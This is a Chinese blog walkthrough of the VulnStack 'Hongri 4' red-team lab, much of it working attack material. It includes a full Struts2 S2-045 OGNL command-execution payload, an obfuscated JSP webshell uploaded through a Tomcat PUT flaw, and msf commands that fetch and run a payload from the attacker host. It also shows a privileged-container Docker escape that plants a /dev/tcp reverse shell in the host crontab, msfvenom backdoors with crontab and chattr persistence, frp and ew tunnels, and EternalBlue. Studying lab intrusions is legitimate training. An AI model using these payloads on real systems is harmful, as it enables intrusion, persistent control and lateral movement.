标签：红日 set 192.168 如下失败攻略 test 如图 docker

红日4靶场复现

一、环境搭建

1.网络配置略过，注意将wireshark置于仅主机网段方便抓包

2.配置docker环境，搭建s2、tomcat、phpmyadmin   #如图一
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d

cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d

cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d

二、信息收集

nmap扫描网段：nmap -sV -sS 192.168.0.0/24   #如图一
对目标网站详细端口扫描：nmap -sC -sV -A -O -Pn 192.168.0.104 -p 22,2001,2002,2003
扫描结果显示
22：ssh   版本OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 
2001：struts2
2002：tomcat   版本8.5.19
2003：mysql |phpmyadmin   版本mysql | phpMyAdmin 4.8.1

图一如下

三、漏洞检测

1.对tomcat 8.5.19版本漏洞查找并验证

1.kali中查找漏洞脚本：searchsploit tomcat    #如图一
2.将poc脚本复制到当前路径：searchsploit -m /jsp/webapps/42966.py  #如图二
3.使用该脚本验证是否存在该漏洞：python 42966.py -u http://192.168.0.104:2002/   #证明存在该漏洞，如图三

图一如下

图二如下

图三如下

2.对s2漏洞查找并利用，检测结果如图

存在s2-045以及s2-046漏洞

3.对PHPmyadmin进行文件包含漏洞检测

构造poc：   ?target=sql.php?/../../../../../../../../../etc/passwd

四、漏洞利用

1.s2漏洞手工getshell

1.1submit抓包

1.2构造payload

 "%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\x00b"

将payload插入到filename中

进行00截断

成功执行whoami

使用msf进行getshell

# 1.生成payload
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run

生成的payload为：
wget -qO nOjEi2QZ --no-check-certificate http://192.168.0.108:8080/M6Hko0dG; chmod +x nOjEi2QZ; ./nOjEi2QZ& disown
#将；替换成&&
wget -qO nOjEi2QZ --no-check-certificate http://192.168.0.108:8080/M6Hko0dG&& chmod +x nOjEi2QZ&& ./nOjEi2QZ& disown

# 2.将上述修改完的payload进行send：

# 3.获取getshell ：sessions 1

# 4.docker逃逸
## 1.检查是否在docker容器中：
#查看根目录下全部文件，如果存在.dockerenv文件，证明在docker中
ls -al /
#查看系统进程cgroup信息，存在docker字段，证明在docker中
cat /proc/1/cgroup 
## 2.查看是否为特权模式启动
cat /proc/self/status |grep Cap   #检查结果不是特权模式启动，换一个getshell

2.tomcat 手工getshell

根据tomcat版本确定漏洞CVE-2017-12617

通过修改PUT方法，/绕过jsp上传
# 1.抓包  #如图一
修改PUT方法、jsp后添加/

木马为：
<%
    // 获取请求参数
    String H6Pv4 = request.getParameter("test");

    if (H6Pv4 != null) {
        // 自定义类加载器
        class E9OXyWMn extends ClassLoader {
            E9OXyWMn(ClassLoader parent) {
                super(parent);
            }

            // 自定义类定义方法
            public Class H6Pv4(byte[] b) {
                return super.defineClass(b, 0, b.length);
            }
        }

        // 字节码数组
        byte[] bytes = null;

        try {
            // 初始化的异或解密数组
            int[] aa = new int[]{
                99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84,
                117, 115, 127, 116, 117, 98
            };

            // 解密字符串
            StringBuilder ccstrBuilder = new StringBuilder();
            for (int i = 0; i < aa.length; i++) {
                aa[i] ^= 16; // 异或解密
                ccstrBuilder.append((char) aa[i]);
            }
            String ccstr = ccstrBuilder.toString();

            // 加载解密后的类
            Class APh7z = Class.forName(ccstr);

            // 调用解码方法
            String decodeMethodName = new String(new byte[]{100, 101, 99, 111, 100, 101, 66, 117, 102, 102, 101, 114});
            bytes = (byte[]) APh7z.getMethod(decodeMethodName, String.class).invoke(APh7z.newInstance(), H6Pv4);

        } catch (Exception e) {
            // 如果解密失败，尝试使用 Base64 解码
            bytes = javax.xml.bind.DatatypeConverter.parseBase64Binary(H6Pv4);
        }

        // 使用自定义类加载器加载字节码
        Class aClass = new E9OXyWMn(Thread.currentThread().getContextClassLoader()).H6Pv4(bytes);

        // 创建类的实例并调用 equals 方法
        Object o = aClass.newInstance();
        o.equals(pageContext);
    }
%> 

# 3.蚁剑连接成功如图二


# 4.通过命令判断该环境为docker容器
#查看根目录下全部文件，如果存在.dockerenv文件，证明在docker中
ls -al /
#查看系统进程cgroup信息，存在docker字段，证明在docker中
cat /proc/1/cgroup 

# 5.查看是否为特权模式启动
cat /proc/self/status |grep Cap   #检查结果是特权模式启动  如图三

图一如下

图二如下

五、docker逃逸

1.docker逃逸，并使用nc监听

 利用方法：privileged特权模式启动容器逃逸
 
 具体步骤：
 #查看磁盘分区情况
	fdisk -l
#新建目录
  mkdir test
#挂载宿主机磁盘到新建目录中        #如下图一
	mount /dev/sda1 /test
#在kali上开启监听
	nc -lvp 4321
#切换到新建目录
	cd /test
#新建.sh文件
	touch /test/test.sh
#写入反弹shell命令到sh文件中
	echo "bash -i >& /dev/tcp/192.168.0.108/4321 0>&1" >/test/test.sh
#把sh文件写入计划任务
	echo "* * * * * root bash /test.sh" >> /test/etc/crontab

图一如下

2.msf反弹

# 生成elf木马  如图一
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.108 lport=4455 -f elf > /root/test.elf

# 启动监听模块   如图二
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 4455
run 

# 启动一个http服务   如图三
python3 -m http.server

# 通过nc下载攻击机elf木马   如图四
wget http://192.168.0.108:8000/test.elf

# 检查上传成功后，添加权限并执行  如图五
chmod +x test.elf
./test.elf &

# 此时查看msf监听端口，发现已成功反弹  如图六

图一如下

图二如下

图三如下

图四如下

图五如下

图六如下

3.权限维持

# 添加不可删除更改的权限
chattr +i test.elf

# 创建计划任务
echo '*/1 * * * * root /root/test.elf' >> /etc/crontab

# crontab -l    #查看正在执行的计划任务

六、横向移动-frp隧道搭建

通过查看ifconfig发现除docker外其他网卡

六、横向移动

1.fscan内网扫描

# 上传fscan
upload /home/kali/muma/fscan

shell

加权执行
chmod +x fscan

./fscan -h 192.168.183.135/24

由于扫描发现开放445端口并可能存在永恒之蓝漏洞，则使用msf扫描模块具体扫描一下

2.frp隧道搭建

frp服务端配置如下图

frp客户端配置如下图

将客户端配置ip为攻击机IP

启动frp

kali服务端启动   
chmod +x frps 
./frps -c frps.toml     #如图一

meterpreter 上传客户端并在后台执行
upload /home/kali/muma/frp_0.58.1_linux_amd64/frpc
upload /home/kali/muma/frp_0.58.1_linux_amd64/frpc.toml
chmod +x frpc
nohup ./frpc -c frpc.toml >/dev/null 2>&1 &

图一如下

开启socks5代理

proxychains msfconsole      
修改proxychains4.conf配置文件，设置socket代理IP及端口   #注意端口需要与frpc配置的remoteport相同   #如图一
setg proxies socks5:192.168.0.108:6000
# 已知fscan扫描发现ms17-010漏洞，现利用如下
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.183.129-130
set rport 445                  # 如图二三
run
session

图一如下

图二如下

失败，换一个隧道搭建，使用ew

3.ew隧道搭建

添加路由创建代理：
route add 192.168.183.0/24 
run autoroute -p     #如图一

#ew创建代理
kali： ./ew_linux_x64 -s rcsocks -l 1080 -e 1234   #如图二
目标主机：
upload /home/kali/muma/ew/ew_linux_x64 
chmod +x ew_linux_x64 
./ew_for_linux64 -s rssocks -d 192.168.0.108 -e 3234   ##（或者nohup ./ew_for_linux64 -s ssocksd -l 1080 &）    #如图三

图一如下

图二如下

图三按理说应该如下，但是nc不小心让我关了

4.使用MS17-010模块进行攻击

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.183.137
set rport 445
run

总是死！！！！！我服了，先上传，我找找原因

参考文献：实战｜记一次逃逸Docker渗透测试-腾讯云开发者社区-腾讯云 (tencent.com)

VulnStack|红日靶场——红队评估四 - 哔哩哔哩 (bilibili.com)

ATT&CK红队评估（红日靶场四） - FreeBuf网络安全行业门户 #主看docker meterpreter shell

红日靶场4 - hello_bao - 博客园 (cnblogs.com)

内网穿透工具EW的简单使用（附内网环境实现）_ew网穿-CSDN博客 #主看ew使用方法

标签：红日,set,192.168,如下,失败,攻略,test,如图,docker
From： https://www.cnblogs.com/maxwellf/p/18241529

红日4攻略失败

红日4靶场复现

一、环境搭建

二、信息收集

三、漏洞检测

1.对tomcat 8.5.19版本漏洞查找并验证

2.对s2漏洞查找并利用，检测结果如图

3.对PHPmyadmin进行文件包含漏洞检测

四、漏洞利用

1.s2漏洞手工getshell

2.tomcat 手工getshell

五、docker逃逸

1.docker逃逸，并使用nc监听

2.msf反弹

3.权限维持

六、横向移动

1.fscan内网扫描

2.frp隧道搭建

3.ew隧道搭建

相关文章

赞助商

阅读排行

红日4攻略失败

红日4靶场复现

一、环境搭建

二、信息收集

三、漏洞检测

1.对tomcat 8.5.19版本漏洞查找并验证

2.对s2漏洞查找并利用，检测结果如图

3.对PHPmyadmin进行文件包含漏洞检测

四、漏洞利用

1.s2漏洞 手工getshell

2.tomcat 手工getshell

五、docker逃逸

1.docker逃逸，并使用nc监听

2.msf反弹

3.权限维持

六、横向移动

1.fscan内网扫描

2.frp隧道搭建

3.ew隧道搭建

相关文章

赞助商

阅读排行

1.s2漏洞手工getshell